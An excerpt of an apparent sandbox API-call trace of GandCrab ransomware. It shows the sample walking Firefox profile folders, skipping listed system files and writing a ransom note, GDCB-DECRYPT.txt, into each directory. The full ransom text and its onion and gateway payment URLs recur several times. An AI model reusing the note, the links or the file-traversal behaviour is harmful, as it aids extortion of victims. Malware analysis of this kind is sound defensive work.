dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0055.088] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0055.088] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0055.088] CloseHandle (hObject=0x4f8) returned 1 [0055.088] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.089] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\") returned 57 [0055.089] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\*" [0055.089] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5b80b0 [0055.089] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.089] FindNextFileW (in: hFindFile=0x5b80b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0055.089] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.089] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.089] FindNextFileW (in: hFindFile=0x5b80b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0055.089] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0055.089] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0055.089] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\GDCB-DECRYPT.txt" [0055.089] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.089] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\GDCB-DECRYPT.txt") returned 73 [0055.089] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\GDCB-DECRYPT.txt") returned 73 [0055.089] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\GDCB-DECRYPT.txt") returned 73 [0055.089] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Extensions\\GDCB-DECRYPT.txt") returned 73 [0055.089] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0055.089] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0055.089] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0055.089] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0055.089] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0055.089] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0055.089] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0055.089] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0055.089] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0055.089] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.089] FindNextFileW (in: hFindFile=0x5b80b0, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0055.089] FindClose (in: hFindFile=0x5b80b0 | out: hFindFile=0x5b80b0) returned 1 [0055.089] FindNextFileW (in: hFindFile=0x5b7fb0, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0055.089] lstrcmpW (lpString1="Firefox", lpString2=".") returned 1 [0055.090] lstrcmpW (lpString1="Firefox", lpString2="..") returned 1 [0055.090] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\", lpString2="Firefox" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox" [0055.090] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\" [0055.090] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.090] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0055.090] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0055.090] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0055.090] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0055.090] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.090] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 54 [0055.090] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\*" [0055.090] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5b7f70 [0055.090] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.090] FindNextFileW (in: hFindFile=0x5b7f70, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0055.090] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.090] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.090] FindNextFileW (in: hFindFile=0x5b7f70, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0055.090] lstrcmpW (lpString1="Crash Reports", lpString2=".") returned 1 [0055.090] lstrcmpW (lpString1="Crash Reports", lpString2="..") returned 1 [0055.090] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Crash Reports" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0055.090] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned 67 [0055.090] FindNextFileW (in: hFindFile=0x5b7f70, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0055.090] lstrcmpW (lpString1="Profiles", lpString2=".") returned 1 [0055.090] lstrcmpW (lpString1="Profiles", lpString2="..") returned 1 [0055.090] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Profiles" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles" [0055.090] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles") returned 62 [0055.090] FindNextFileW (in: hFindFile=0x5b7f70, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0055.090] lstrcmpW (lpString1="profiles.ini", lpString2=".") returned 1 [0055.090] lstrcmpW (lpString1="profiles.ini", lpString2="..") returned 1 [0055.090] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="profiles.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini" [0055.090] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\profiles.ini") returned 66 [0055.090] lstrcmpW (lpString1=".ini", lpString2=".sql") returned -1 [0055.090] FindNextFileW (in: hFindFile=0x5b7f70, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0055.090] FindClose (in: hFindFile=0x5b7f70 | out: hFindFile=0x5b7f70) returned 1 [0055.091] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.091] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\\\GDCB-DECRYPT.txt") returned 71 [0055.091] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0055.091] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0055.091] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0055.092] CloseHandle (hObject=0x4f8) returned 1 [0055.092] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.092] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\") returned 54 [0055.092] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\*" [0055.092] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5b8470 [0055.092] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.092] FindNextFileW (in: hFindFile=0x5b8470, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0055.092] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.092] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.092] FindNextFileW (in: hFindFile=0x5b8470, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0055.092] lstrcmpW (lpString1="Crash Reports", lpString2=".") returned 1 [0055.092] lstrcmpW (lpString1="Crash Reports", lpString2="..") returned 1 [0055.092] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\", lpString2="Crash Reports" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports" [0055.092] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\" [0055.092] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.093] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0055.093] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0055.093] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0055.093] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0055.093] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.093] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\") returned 68 [0055.093] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*" [0055.093] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5b7f70 [0055.093] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.093] FindNextFileW (in: hFindFile=0x5b7f70, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0055.093] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.093] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.093] FindNextFileW (in: hFindFile=0x5b7f70, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0055.093] lstrcmpW (lpString1="events", lpString2=".") returned 1 [0055.093] lstrcmpW (lpString1="events", lpString2="..") returned 1 [0055.093] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\", lpString2="events" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events" [0055.093] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events") returned 74 [0055.093] FindNextFileW (in: hFindFile=0x5b7f70, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0055.093] lstrcmpW (lpString1="InstallTime20170518000419", lpString2=".") returned 1 [0055.093] lstrcmpW (lpString1="InstallTime20170518000419", lpString2="..") returned 1 [0055.093] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\", lpString2="InstallTime20170518000419" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419" [0055.093] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\InstallTime20170518000419") returned 93 [0055.093] FindNextFileW (in: hFindFile=0x5b7f70, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0055.093] FindClose (in: hFindFile=0x5b7f70 | out: hFindFile=0x5b7f70) returned 1 [0055.093] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.093] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\\\GDCB-DECRYPT.txt") returned 85 [0055.094] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\crash reports\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0055.094] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0055.094] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0055.095] CloseHandle (hObject=0x4fc) returned 1 [0055.095] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.095] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\") returned 68 [0055.095] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*" [0055.095] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5b83f0 [0055.095] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.095] FindNextFileW (in: hFindFile=0x5b83f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0055.095] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.095] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.095] FindNextFileW (in: hFindFile=0x5b83f0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0055.095] lstrcmpW (lpString1="events", lpString2=".") returned 1 [0055.095] lstrcmpW (lpString1="events", lpString2="..") returned 1 [0055.096] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\", lpString2="events" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events" [0055.096] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\" [0055.096] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.096] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0055.096] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0055.096] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0055.096] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0055.096] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0055.096] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\") returned 75 [0055.096] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\*" [0055.096] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5b81b0 [0055.096] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0055.096] FindNextFileW (in: hFindFile=0x5b81b0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0055.096] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0055.096] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0055.096] FindNextFileW (in: hFindFile=0x5b81b0, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0 [0055.096] FindClose (in: hFindFile=0x5b81b0 | out: hFindFile=0x5b81b0) returned 1 [0055.096] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0055.096] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\\\GDCB-DECRYPT.txt") returned 92 [0055.097] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Crash Reports\\events\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\crash reports\\events\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x500 [0055.097] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0055.097] WriteFile (in: hFile=0x500, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285e864, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285e864*=0xad6, lpOverlapped=0x0) returned 1 [0055.098] CloseHandle (hObject=0x500) returned 1 